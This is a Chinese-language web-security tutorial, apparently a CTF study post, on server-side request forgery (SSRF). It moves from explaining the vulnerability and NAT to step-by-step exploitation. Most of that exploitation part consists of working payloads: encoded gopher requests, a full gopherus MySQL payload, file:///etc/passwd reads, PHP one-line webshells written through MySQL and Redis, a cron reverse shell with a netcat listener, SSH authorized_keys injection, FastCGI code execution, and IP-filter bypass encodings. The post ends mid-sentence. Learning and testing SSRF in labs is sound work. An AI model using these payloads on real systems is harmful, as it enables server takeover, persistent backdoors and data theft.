前言
我们下面进行下一个漏洞——SSRF的学习。SSRF是常见漏洞之一,是Web安全必学漏洞。
什么是SSRF
介绍
SSRF (Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,由服务端发起请求的安全漏洞。
简单来说,攻击者利用服务器A去攻击服务器B就是服务器端请求伪造。
因为请求是由服务端发起的,而服务端能请求到与自身相连的内网,所以SSRF往往用来攻击内网。上面我们举例的这个B服务器可能因为有防火墙或者不能被我们直接连接,所以常规方法不能入侵,SSRF的作用就在此时显现。
下面这张图是作者引用别人的,涵盖了SSRF大部分知识点:
形成原因
服务器接受了来自于客户端的URL 地址,并由服务器发送该URL 请求。
对用户输入的URL 没有进行恰当的过滤与限制,导致任意URL 输入,但没对响应的结果进行检验,又直接输出。
简单来说,服务端会访问攻击者传入的地址,攻击者从而可以将其作为跳板去攻击其他服务器,这就形成了SSRF。
我们这里提一下PHP中导致SSRF的常见函数:
函数利用条件:
常见场景
从Web功能点寻找
1.社交分享功能:获取超链接的标题等内容进行显示
2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:给网址翻译对应网页的内容
4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
8.数据库内置功能:数据库的比如mongodb的copyDatabase函数
9.邮件系统:比如接收邮件服务器地址
10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞。
一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)
简单来说,服务端有可能会访问我们传递的链接,凡是有上述情况的所有位置都有可能发生SSRF。
漏洞验证:
因为SSRF漏洞是构造服务器发送请求的安全漏洞,所以我们可以通过抓包分析发送的请求是否是由服务器端发送的来判断是否存在SSRF漏洞。
在页面源码中查找访问的资源地址,如果该资源地址类型为http://www.xxx/a.php?image=地址,就可能存在SSRF漏洞。
上面例子通过URL地址分享网页的内容,通过目标地址获取了图片内容,如果此功能中没有对目标地址的范围做过过滤与限制,则可能存在SSRF漏洞。
这里有个问题,即使我们发现了有SSRF漏洞,但我们是需要知道它的内网地址的。
- 第一种方法,就是前期的信息收集,发现了他内网的ip,直接利用。
- 第二种方法,就是通过FUZZ,对内网地址进行枚举。
与CSRF的区别
CSRF(跨站请求伪造,Cross-site request forgery)发生条件,当用户在安全网站A登陆后保持登陆的状态,并同时浏览了保存恶意代码的另一个网站B,此时B网站劫持用户浏览器并以用户登陆的状态对A网站发送了用户本人操作的请求。
CSRF是服务器没有对用户提交的数据进行随机值的校验,且对http请求的referer字段校验不严,导致攻击者可以利用用户的Cookie信息伪造用户请求发送至服务器。
SSRF是服务器对用户提供的URL过于信任,没有对攻击者提供的URL进行地址限制和足够的检测,导致攻击者可以以此为跳板攻击内网或者其他服务器。
简单来说,CSRF是攻击者利用用户端去达成自己的目的,而SSRF是攻击者利用服务端去达成自己的目的。
SSRF基础
内网&外网
内网和外网的概念并不是绝对的,要明白的就是内网是外网无法直接访问的。
简单的说,自己的单位或者家庭、小区内部有局域网;单位、家庭之外有覆盖范围极大的网络,比如internet,这个大网络延伸到了我们的单位、家庭(通过光纤、网线、电话线等)。我们把自己的局域网连接到internet上,那么我们的访问范围就从局域网扩展到了整个internet。这时候,就说局域网是内网,internet是外网。
同理,如果你们单位的局域网很庞大,而你的办公室里面的几台电脑组成的小局域网又连接到单位的整个大局域网,那么也可以说单位的大局域网是外网,办公室内的小局域网是内网。
内网也可能是外网的一个部分,比如校园网,或者相对于单位局域网的办公室内部局域网。其特征是:内网电脑的ip就是整个外网ip范围的一部分,内网的电脑通过网关(路由器)连接到外网,网关不需要进行代理服务,直接路由就行了。
NAT
为了更好地了解SSRF在内网中的利用方式,我们这里简单讲一下NAT作为扩展。
NAT是什么(摘自百度百科)?
NAT(Network Address Translation),是指网络地址转换,1994年提出的。NAT是用于在本地网络中使用私有地址,在连接互联网时转而使用全局 IP 地址的技术。NAT实际上是为解决IPv4地址短缺而开发的技术。
NAT旨在通过将一个外部 IP 地址和端口映射到更大的内部 IP 地址集来转换 IP 地址。 基本上,NAT 使用流量表将流量从一个外部(主机)IP 地址和端口号路由到与网络上的终结点关联的正确内部 IP 地址。
百度的解释让人摸不着头脑,别急,我们先从实际情景讲起。
2019年11月26日,全球所有43亿个IPv4地址已分配完毕,这意味着没有更多的IPv4地址可以分配给ISP和其他大型网络基础设施提供商。
IPv4,即网际网协议第4版(Internet Protocol Version 4),定义一个跨越异种网络互连的超级网,为每个网际网的节点分配全球唯一IP地址。
IPv4使用32bits整数表达一个地址,地址最大范围就是232,约为43亿。以IP创始时期可被联网的设备来看,这样的一个空间已经很大,很难被短时间用完。然而,事实远远超出人们的设想,计算机网络在此后的几十年里迅速壮大,网络终端数量呈爆炸性增长。
更糟糕的是,为了路由和管理方便,43亿的地址空间按不同前缀长度划分为A,B,C,D,E类地址网络和保留地址。这样一种分配策略使得IP地址浪费很严重,很多被分配出去的地址没有真实被利用,地址消耗很快。
简单来说,就是发展太快导致IPv4地址数目不够用了,那么有什么解决方法呢,主要有以下几种处理方法:
1、动态分配IP地址:只给接入网络的设备分配IP地址
2、NAT技术
3、IPV6,128位来表示一个IP地址。
动态分配IP地址就是一个设备上网就分配 IP,不上网就先不分配,这显然只能是权宜之计;IPv6使用 128 位 16 个字节表示 IP 地址,数量非常之大,虽然理论上从根本上解决了 IP 地址不够用的问题,但实际上IPv6 的推广举步维艰,因为 IPv6 和 IPv4 不兼容。
以上两种方法并不很靠谱,但至今我们依然使用着IPv4,那么是谁拯救了早已到达极限的它呢?
我们今天介绍的主角NAT技术登场了,它的出现几乎让IPv4起死回生。
首先我们要知道,RFC 1918 为私有网络预留出了三个IP 地址块,如下:
A 类:10.0.0.0~10.255.255.255
B 类:172.16.0.0~172.31.255.255
C 类:192.168.0.0~192.168.255.255
上述三个范围内的地址不会在因特网上被分配,因此可以不必向ISP 或注册中心申请而在公司或企业内部自由使用。
那这个对我们有什么用呢?
既然使用上述三个范围内的地址不必申请,那我们不连接Internet的公司内网是不是就可以随便用这三类地址。反正我们不连接Internet,自然也不会有IP地址冲突这一说法,隔壁公司和我用同样的IP也没有关系,只要我们内部各个服务器的IP不同就行。
可是,问题出现了,我们内网如果要连接Internet怎么办?世界上很多公司的内网服务器可能都用这三类地址,那显然不能用我们在内网用的这套ip去连接互联网,这时候就可以用网络地址转换(NAT)。
结合上面百度给的介绍,我们就可以明白,NAT其实就是我们内网的私有IP在连接公网时转换成全局IP。
NAT的实现方式有三种,即静态转换Static Nat、动态转换Dynamic Nat和端口多路复用OverLoad。
静态转换是指内部本地地址一对一转换成内部全局地址,相当内部本地的每一台PC都绑定了一个全局地址。一般用于在内网中对外提供服务的服务器。
动态转换是指将内部网络的私有IP地址转换为公用IP地址时,IP地址是不确定的,是随机的,所有被授权访问上Internet的私有IP地址可随机转换为任何指定的合法IP地址。也就是说,只要指定哪些内部地址可以进行转换,以及用哪些合法地址作为外部地址时,就可以进行动态转换。动态转换可以使用多个合法外部地址集。当ISP提供的合法IP地址略少于网络内部的计算机数量时。可以采用动态转换的方式。
端口多路复用(Port address Translation,PAT)是指改变外出数据包的源端口并进行端口转换,即端口地址转换(PAT,Port Address Translation)采用端口多路复用方式。内部网络的所有主机均可共享一个合法外部IP地址实现对Internet的访问,从而可以最大限度地节约IP地址资源。同时,又可隐藏网络内部的所有主机,有效避免来自internet的攻击。因此,网络中应用最多的就是端口多路复用方式。
常用伪协议及其利用方式
file://
本地文件传输协议,主要用于访问本地计算机中的文件,可以从文件系统中获取文件内容
dict://
字典服务器协议,访问字典资源,dict是基于查询相应的TCP协议,服务器监听端口2628。可用于端口扫描、获取内网信息、爆破密码等
ftp://
可用于网络端口扫描,不过效率相对较低
sftp://
SSH文件传输协议(SSH File Transfer Protocol)或安全文件传输协议(Secure File Transfer Protocol)
ldap://
轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议
tftp://
简单文件传输协议。基于lockstep机制的文件传输协议,允许客户端从远程主机获取文件或将文件上传至远程主机
http://
常规URL形式,允许通过HTTP 1.0的GET方法,以只读访问文件或资源。CTF种通常用于远程包含。
gopher://
互联网上使用的分布型的文件搜集获取网络协议,出现在http协议之前。实际上Gopher是一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它。
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
gopher协议在各个编程语言中的使用限制:
gopher协议详解
其他协议的使用没什么特殊的,后续实际利用时简单一提即可,我们这里着重讲一下gopher协议的get和post传参。
URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
- gopher的默认端口是70
- 如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码
首先我们尝试一下gopher协议。
nc启动监听,监听2333端口:
nc -lp 2333
使用curl发送http请求:
curl gopher://192.168.230.133:2333/1234
此时nc收到的消息为:
可见gopher协议默认忽略的第一个字符,所以我们需要先写一个填充位,该填充位可随意写,一般用下划线
下面我们用gopher协议去GET传参,首先我们抓一个GET的包,然后删去多余数据,保留必要数据
GET必要保留的头部信息:
1、路径(即第一行)
2、目标IP地址(即host)
3、结束符(最后一定要有一个换行符作为结束符)
以上头部信息是每个GET包里必有的,可以看下面的例子。
构造好GET包后,我们往往要URL编码后再构造gopher协议。
我们需要注意URL编码的格式。
这里我建议直接在包里进行URL编码
注意:最好不要使用在线URL编码网站。
因为回车换行要变成%0d%0a,但直接使用在线工具转,可能只有%0a,还得自己再处理。
也不要去使用bp专门的Decoder编码,作者尝试过,也不行。
如果用bp发包的话,我们需要进行两次URL编码,因为到达有SSRF漏洞的服务器后会URL解码一次,而有SSRF漏洞的服务器再去进行GET传包,到达目标服务器后还会URL解码一次。
然后我们正式构造gppher
gopher://127.0.0.1:80/_%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%64%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%36%33%25%36%38%25%36%31%25%36%63%25%36%63%25%36%35%25%36%65%25%36%37%25%36%35%25%32%64%25%33%32%25%33%37%25%33%38%25%33%34%25%36%34%25%33%35%25%36%34%25%33%39%25%36%34%25%33%39%25%33%34%25%33%36%25%33%31%25%33%33%25%36%34%25%33%30%25%32%65%25%37%33%25%36%31%25%36%65%25%36%34%25%36%32%25%36%66%25%37%38%25%32%65%25%36%33%25%37%34%25%36%36%25%36%38%25%37%35%25%36%32%25%32%65%25%36%33%25%36%66%25%36%64%25%33%61%25%33%31%25%33%30%25%33%38%25%33%30%25%33%30%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%31%25%37%30%25%37%30%25%36%63%25%36%39%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%37%38%25%32%64%25%37%37%25%37%37%25%37%37%25%32%64%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%37%35%25%37%32%25%36%63%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%36%34%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%33%25%33%36%25%30%64%25%30%61%25%30%64%25%30%61%25%36%62%25%36%35%25%37%39%25%33%64%25%36%35%25%33%30%25%36%35%25%36%31%25%33%38%25%33%34%25%33%35%25%33%33%25%36%36%25%36%35%25%33%32%25%36%31%25%33%30%25%36%36%25%33%33%25%33%39%25%36%35%25%36%34%25%33%34%25%33%36%25%36%33%25%36%33%25%36%36%25%33%35%25%33%33%25%33%32%25%33%36%25%36%32%25%36%33%25%36%34%25%36%35%25%33%31
至此,可以用上述payload去gopher协议GET传参。我们总结一下易错点:
- GET传参符合规范(有必要头部信息、末尾有换行“结束符”)
- URL编码符合规范
- 带端口号
- 有且仅有一个填充位
然后我们用gopher协议去POST传参,基本和GET提交是一样的
先抓包,然后删除无关数据,保留必要数据
POST必要保留的头部信息:
1、路径(即第一行)
2、目标IP地址(即host)
3、Content-Type
4、Content-Length(一定要和内容的长度相匹配)
5、头部结束符(最后一定要有一个换行符作为头部结束符)
6、内容(即传递的参数,当然这个实际上也可以没有,但既然用了POST,基本是用它传参)
以上头部信息是每个POST包里必有的,可以参考下面的例子。
依然注意URL编码,编码后具体构造就和GET一样了
大家在构造时一定要注意这几点:
- POST传参符合规范(符合POST规则、数据长度一致)
- URL编码符合规范
- 带端口号
- 有且仅有一个填充位
用gopher协议有很多细节,每一步骤都要按标准严格执行,错一点都不行,可以说是细节决定成败,大家要注意审查
常用工具
Gopherus:https://github/tarunkant/Gopherus
不得不提gopherus这一工具:此工具可以自动生成 Gopher payload,以利用 SSRF并获得 RCE,省了我们刚才那一堆步骤和注意要点。
该工具的攻击范围:
MySQL (Port-3306)
PostgreSQL(Port-5432)
FastCGI (Port-9000)
Memcached (Port-11211)
Redis (Port-6379)
Zabbix (Port-10050)
SMTP (Port-25)
SSRFmap:https://github/swisskyrepo/SSRFmap
SSRF-Testing:https://github/cujanovic/SSRF-Testing?tab=readme-ov-file
ssrf-proxy:https://github/bcoles/ssrf_proxy
SSRF利用过程
内网主机探查
如果是linux服务器,
file:///etc/passwd
可以读取相应的用户信息。
file:///etc/hosts
可以查出该主机的内网ip。
我们上面了解到,内网IP多在
A 类:10.0.0.0~10.255.255.255
B 类:172.16.0.0~172.31.255.255
C 类:192.168.0.0~192.168.255.255
三类之中,如果我们查询到该主机的内网ip,那么我们就可以确定其内网网段
比如我们查询到其IP为172.16.0.4,那么可以知道网段为172.16.0.0-172.16.0.255(当然,我们查到的IP可能不止一个,因此可能确定出多个网段)
确定出多个网段后,我们就可以用http伪协议去全部访问一遍,当然,一个个手写太过麻烦,可以结合bp抓包爆破(用sniper,具体使用可以参考CTFHub技能树Web中SSRF的端口扫描一题,虽然目的不同,但bp的使用方式相同)
为什么要这样做呢?
因为我们下一步要通过
file:///proc/net/fib_trie
去显示arp缓存表,上面会显示出我们刚刚尝试连接的IP,无论是否连接成功我们都可以确定出存活主机(主机存活的话,肯定是要应答的)。
端口扫描
确定出存活主机后,我们需要确定各个主机的开放端口
端口扫描我们可以用到ftp://、dict://和http://,但其中ftp://效率相对较低。
我们以dict://为例,确定出存活主机,那么我们就构造payload,
dict://存活主机IP:端口号
因为这次我们要爆破两个位置,一是存活主机的IP(一般情况下不止一个),二是端口号,所以我们这次选择Cluster bumb,然后导入存活主机的IP和常用端口号进行爆破即可。
目录扫描
我们可以通过http://进行目录扫描获取网站子页面
还是用bp抓包爆破,只不过这次需要导入字典
字典在kali里面有,在下面目录:
/usr/share/wordlists/dirb/common.txt
利用过程的后面步骤就是通过找到其他漏洞去完成自己的目的,这部分内容繁多,特意放在下一板块。
SSRF结合其他漏洞
结合RCE
使用shell页面进行命令执行。可以使用http协议,也可以使用gopher协议,无非是get提交与post提交,前面已经讲过
注意post提交的参数需要代码审计进行查找
结合XXE
确定出XXE漏洞,还是用gopher协议(实质上和常规XXE一样,只不过要注意用gopher协议post提交)
结合SQL注入
可以用http协议,也可以用gopher协议,不过用gopher协议进行post提交时,应该代码审计确定应该提交的参数数目及其value
结合文件上传
抓一个文件上传的包,然后改一改就行,注意格式要符合multipart/form-data (一种POST 数据提交的方式)
名词看着挺唬人,实际上大家做文件上传都用过,注意看Content-Type一行,已经表明了是multipart/form-data,它其实就是一种分隔方式(boundary)。
那这个multipart/form-data有什么标准呢?
首先就是传输的各个数据用boundary分隔起来(boundary可以随便写,只要和Content-Type定义的一样就行),具体怎么分隔大家自己看包就行
其次最后结束的时候也要有boundary,并且boundary后面还要加俩横线,表示整个包的结束
最后用gopher协议发送,注意URL编码
结合文件包含
没啥好说的,直接用伪协议去包含就完事了
结合tomcat文件写入
这个其实就是CVE-2017-12615,一个远程代码执行漏洞。这个漏洞的详细信息大家可以参考下面这篇文章,讲的很详细,这里就不多啰嗦:
CVE-2017-12615(远程代码执行漏洞)-CSDN博客
看完上文后,我们可以知道payload包含两部分,PUT头部信息及jsp代码。
然后我们还是将整个payload进行URL编码,最后构造gopher协议:
gopher://127.0.0.1:8080/_编码后的payload
当然,这个漏洞实在没看明白也没啥,关键是要明白SSRF与其他漏洞结合后,需要怎么处理。其实,SSRF结合其他漏洞并没有啥特殊的步骤,payload也和原漏洞没区别,关键就是怎么用伪协议把payload打进去,注意一下URL编码和其他小细节即可。
结合MySQL未授权
MySQL未授权是什么?
其实就是登录MySQL是不需要密码。
这样的话,我们就可以直接通过有SSRF的主机去查看甚至修改数据库。
那我们的payload怎么构造呢?
首先打开抓包
tcpdump -i lo port 3306 -w mysql.pcapng
上面指令是监听3306端口,-w是写入文件,在根目录的mysql.pcapng里,之所以用.pcapng文件,是为了方便后续用wireshark
然后我们写入指令
mysql -h127.0.0.1 -uroot –ssl-mode=DISABLED -e “show databases;”
quit;
–ssl-mode=DISABLED是不进行密文认证,-e是执行指令,最后quit是退出
然后用wireshark打开mysql.pcapng,右键追踪流->TCP流
按下图选择
然后复制数据,去掉换行符,ASCii码转URL编码(实际上就是每两个字符增加一个%)
最后构造gopher协议即可。
但上述方法显然太过麻烦了。这里我们一般直接用工具gopherus。
因为gopherus需要python2环境,所以在kali里下载使用。
可以看下面这张图,里面有很多功能
这里我们explore一下MySQL
./gopherus.py --exploit mysql
MySQL用户名是root
还是查数据库
show databases;
直接就构造出gopher协议了,改改IP就能用。不过gopherus生成的payload只有一次URL编码,需要的话我们得在bp里再来一次
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%10%00%00%00%03%73%68%6f%77%20%64%61%74%61%62%61%73%65%73%3b%01%00%00%00%01
当然我们不仅能查,如果权限够的话,我们还能改。
我们先查一下写入权限
show variables like '%secure%';
如果下面这里为Null就没有写入权限
如果是空白就是任意位置写入,有位置就是在当下位置可以写入
用gopherus构造一下
如果可以写入,那就继续构造gopher协议,写入一句话木马
select "<?php @eval($_POST['cmd']);?>" into outfile 'var/www/html/cmd.php';
一句话木马的写入路径大家按情况自己定
然后蚁剑连接即可
结合redis未授权
首先我们得知道redis是什么。
Redis 是Remote Dictionary Server(Redis) 的缩写,中文翻译为远程字典服务器,是一个使用 C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型的Key-Value数据库,并提供多种语言的API。
它是一种 NoSQL(not-only sql,泛指非关系型数据库)的数据库,可以用作数据库、缓存、消息中间件、分布式锁等。
简单来说,redis是一种数据库,但和MySQL不同,MySQL是一种关系型数据库,而redis是一种非关系型数据库。
在SSRF漏洞中,如果通过端口扫描等方法发现目标主机上开放6379端口,则目标主机上很有可能存在Redis服务。此时,如果目标主机上的Redis由于没有设置密码认证、没有进行添加防火墙等原因存在未授权访问漏洞的话,那我们就可以利用Gopher协议远程操纵目标主机上的Redis,可以利用 Redis 自身的提供的 config 命令向目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell等……
简单来说,利用redis有些类似之前的未授权MySQL,我们刚学过用MySQL去查甚至写入命令,那么用redis也是可以的
像之前一样,我们也可以自己一步一步构造payload。
先打开监听
然后输入所需命令,写入我们的一句话木马,最后别忘了quit。
还是用wireshark打开我们截的redis,pcapng。
然后就是URL编码。
但这样实在太过复杂,用gopherus会方便一些。
我们这里讲三种redis利用方式,就是前文提到的向目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell
第一种:向目标主机写WebShell
这里我们启动gopherus,攻击redis,
./gopherus.py --exploit redis
选择phpshell,默认路径(回车跳过就行),
这里payload一定我们自己写(gopherus默认是get型的,而且还不一定好使)
<?php @eval($_POST['cmd']);?>
复制payload,在bp里再来一次URL编码
gopherus生成的payload我们选择的默认路径,而且默认生成的是shell.php,所以我们用蚁剑去连接shell.php,连接密码我们设置的是cmd
第二种:创建计划任务反弹Shell
反弹Shell是什么?
我们之前都写过webshell,webshell可以说是一种正向shell,也就是我们发送请求去连接对方靶机,但除了这种正向连接的方式,还可以让对方靶机反过来来连接咱们。
而反弹就是指对方靶机发送请求来连接我们的服务器。
那这是怎么做到的,也就是其中原理是什么呢?
其实也是向靶机写入一句话木马,这个木马的作用是在靶机建立一个交互(可以执行系统命令),并将其重定向到我们的服务器。换句话说,也就是对方把他的终端交互页面发送到我们服务器上。
这样的话,只要我们服务器与其建立连接,就可以直接操纵交互页面,也就是说,可以直接执行系统命令。
具体怎么构造一句话木马去反弹shell,这里就不展开讲了,我们只需要知道,重定向时需要我们的IP以及端口来进行连接。所以我们这里需要指定一个关口,然后在这个端口打开监听,等待对方链接咱们。
下面我们进入正题
如果我们还是拦截抓包从头构造,需要注意以下几点:
1.权限问题,ubuntu定时任务需要root权限
2.redis备份文件存在乱码,在Ubuntu上会报错,而在Centos上不会报错
3.使用SSRF利用此漏洞切记在写入计划任务前后要加上\n来进行换行,否则数据污染会导致计划任务无法执行
具体怎么从头构造,和之前大差不差,这里我们不多赘述,直接用gopherus
打开gopherus,攻击redis
./gopherus.py --exploit redis
选择反弹shell,即ReverseShell
填入自己的IP,这里作者用默认的,也就是127.0.0.1,直接回车
下一步具体的构造也是默认,直接回车
可以看到payload用的我们的1234端口,然后让我们发送请求之前先打开1234端口的监听
nc -lvp 1234
打开监听,发送请求,等待即可
第三种:写入SSH公钥
如果对方主机开启了ssh,可以尝试写入SSH文件,从而进行ssh登录
先用kali生成一对密钥对
ssh-keygen -t rsa
一路回车即可
然后看到上面显示的路径,进入路径,ls一下
其中id_rsa.pub就是我们要写入对方靶机的
这里为了方便我们让gopherus先生成一个WebShell。
因为gopherus不能直接生成ssh的payload,然后我们从头抓包又太麻烦,所以这里先生成一个,然后我们再对其修改一下
复制生成的payload到bp,然后进行一次URL解码
然后就变成这样,
简单给大家解释一下
*n代表下面的命令由n个参数组成,$m代表下一个参数有m个字符。我们拿下面的payload为例,从头解释一下。
*1代表有下面的命令1个变量,$8代表下一个参数有8个字符,也就是“flushall”。
总的来看,第一条命令就是flushall。
紧接着看下一条命令,*3代表有下面的命令3个变量,$3代表下一个参数有3个字符,也就是“set”,$1代表下一个参数有1个字符,也就是“1”,$34代表下一个参数有34个字符,也就是
“
<?php system($_GET['cmd']); ?>
*4”
总的来看,第二条命令就是set 1 \n\n<?php system($_GET['cmd']); ?>\n\n。(这里用\n代表空格)
以此类推……
接下来进行修改,我们要修改三个地方,即payload、要写入的目的地址、写入的文件名。
注意:修改完参数后,一定也要修改$符号后面的数值,使其与参数的字符数相匹配。
然后我们分别将其修改为:
id_rsa.pub中所有内容
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCYqXFf2fwoVhDid7+PWc79foFxzr8WxiTY+zx8HplwY7h2lxXEtHeSO8SAAw8th/Oiba6VqyXpASDDcYLWBM/sP1Rsan09lgJN43o1VkVzbqJD4iBNKV8PXt4JNLD7YVzMsqlg3i7xY6lu/efcQ2LBfDfv2HNPzEjbZ2OnhDPbxKzSEYas/SalE35Bh+zzNRv6CSihT31vN3gsZRaDP5rxtjJIUUueqNbr3iasLWIGEdlMmjxht99ZBtPETwke9gKiwmklRCDYdmn2pf01E0ol0V/XS/tsfVRZi/CNfUWL45OZF4rvQqA7UG1psxkEqzFxkFyeKaUJR7e50Qz2uwrU3wsJnmixO/a24MPcKcevE95VWN+nys7moJo9/jXwxrjAqVf5Gx9ztvZRM4g7+AEjwXLCUtz7L85dAYpNMK9I4/AnXgIFID9/plWzCV3Pa4FR4CI/lcBtyGsZOpO3fgrKPQv8xoWAcxx37BO5D3oxvYQMRrN1A0L8tImkHvYPo2c= matrix@matrix
和
/root/.ssh/
和
authorized_keys
这里注意写入路径/root/.ssh/要求我们有root权限。
上面的内容按规范来,不要随便修改。
然后我们再修改字符数,bp这里选择后会显示字符数,能方便一些
但要注意,这里有个坑人的地方,bp或者notepad++里把换行符看作两个字符,但我们这里计算$后的值时,把换行符看作一个字符。
我们这里的换行符是必不可少的,只能注意这个细节。
最后修改完是这样
然后别忘URL编码,提交
最后这里,我们去连接对方靶机
注意在之前我们提到的路径下执行这条命令,否则用-i调用私钥id_rsa时需要用绝对地址,-p是对方端口,后面紧跟着对方靶机的IP(根据情况自己修改)。
当然以上三种方法肯定不是通用的,要注意其局限性:
需要知道要写的文件地址和路径;
需要对写入文件有读写权限;
会写入很多无用数据,可能会导致程序出错;
需要利用到其他程序,比如web应用程序,如果利用docker部署,上述方法即失效。
进一步了解可以参考:Redis 常见漏洞利用方法总结 - FreeBuf网络安全行业门户
结合FastCGI
FastCGI是什么?
Fastcgi其实是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。
HTTP协议是浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某个规则组装成数据包,以TCP的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以HTTP协议的规则打包返回给服务器。
类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件。
nginx本身不能处理PHP,它只是个web服务器,当接收到请求后,如果是php请求,则发给php解释器处理,并把结果返回给客户端。nginx一般是把请求发fastcgi管理进程处理,fascgi管理进程选择cgi子进程处理结果并返回被nginx
简而言之,nginx只是一个服务器,php相关的活还得转交给背后的php干,而fastcgi就是这个“通讯兵”,而且是遵从某种转接规则的通讯兵,而php-fpm就是管理这些“通讯兵”的长官。
攻击实现原理
那么,为什么我们控制fastcgi协议通信的内容,就能执行任意PHP代码呢?
理论上当然是不可以的,即使我们能控制SCRIPT_FILENAME,让fpm执行任意文件,也只是执行目标服务器上的文件,并不能执行我们需要其执行的文件。
但PHP是一门强大的语言,PHP.INI中有两个有趣的配置项,auto_prepend_file和auto_append_file。
auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件。
那么就有趣了,假设我们设置auto_prepend_file为php://input,那么就等于在执行任何php文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在Body中,他们就能被执行了。(当然,还需要开启远程文件包含选项allow_url_include)
对FastCGI详细了解可以参考:
Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写_flower未授权-CSDN博客
这里我们直接用工具gopherus。
先用base64加密一句话木马,一会要用
这里我们用gopherus构造payload。
启动gopherus,攻击fastcgi,
./gopherus.py --exploit fastcgi
提供一个已知的php文件,(假设已知index.php文件,实际要根据情况判断,实在不知道就用gopherus默认的,按回车跳过就行)
/var/www/html/index.php
写上我们想在终端执行的命令:在shell.php中写上一句话木马(便于蚁剑连接)
echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=" | base64 -d > shell.php
有人会问我们为什么要先base64编码一句话木马,然后解码写入文件内。
其实是因为直接写入是不行的:
这样就生成payload了
复制payload,gopherus生成的payload只有一次URL编码,需要的话我们得在bp里再来一次
我们在终端执行的命令是:给base64编码的一句话木马解码并写在shell.php中。
所以我们用蚁剑去链接shell.php,连接密码我们设置的是cmd。
SSRF Bypass
URL Bypass
有时候会强制我们用http://xxx,但我们想访问的是http:// 127.0.0.1/flag.php,这时候我们可以用:
http://xxx@127.0.0.1/flag.php
或者
http://xxx.127.0.0.1.nip.io/flag.php
效果都与http://127.0.0.1/flag.php相同
ID Bypass
倘若我们要访问http:// 127.0.0.1/flag.php,但是却ban了http://127.0.0.1
我们可以用以下方式应对,
八进制:
url=http://017700000001/flag.php
url=http://0177.0000.0000.0001/flag.php
十六进制:
url=http://0x7F000001/flag.php
url=http://0x7F.0x00.0x00.0x01/flag.php
url=http://0x7F.0.0.1/flag.php
十进制:
url=http://2130706433/flag.php
使用localhost:
url=http://localhost/flag.php
像这种绕过限制请求IP不为内网地址:
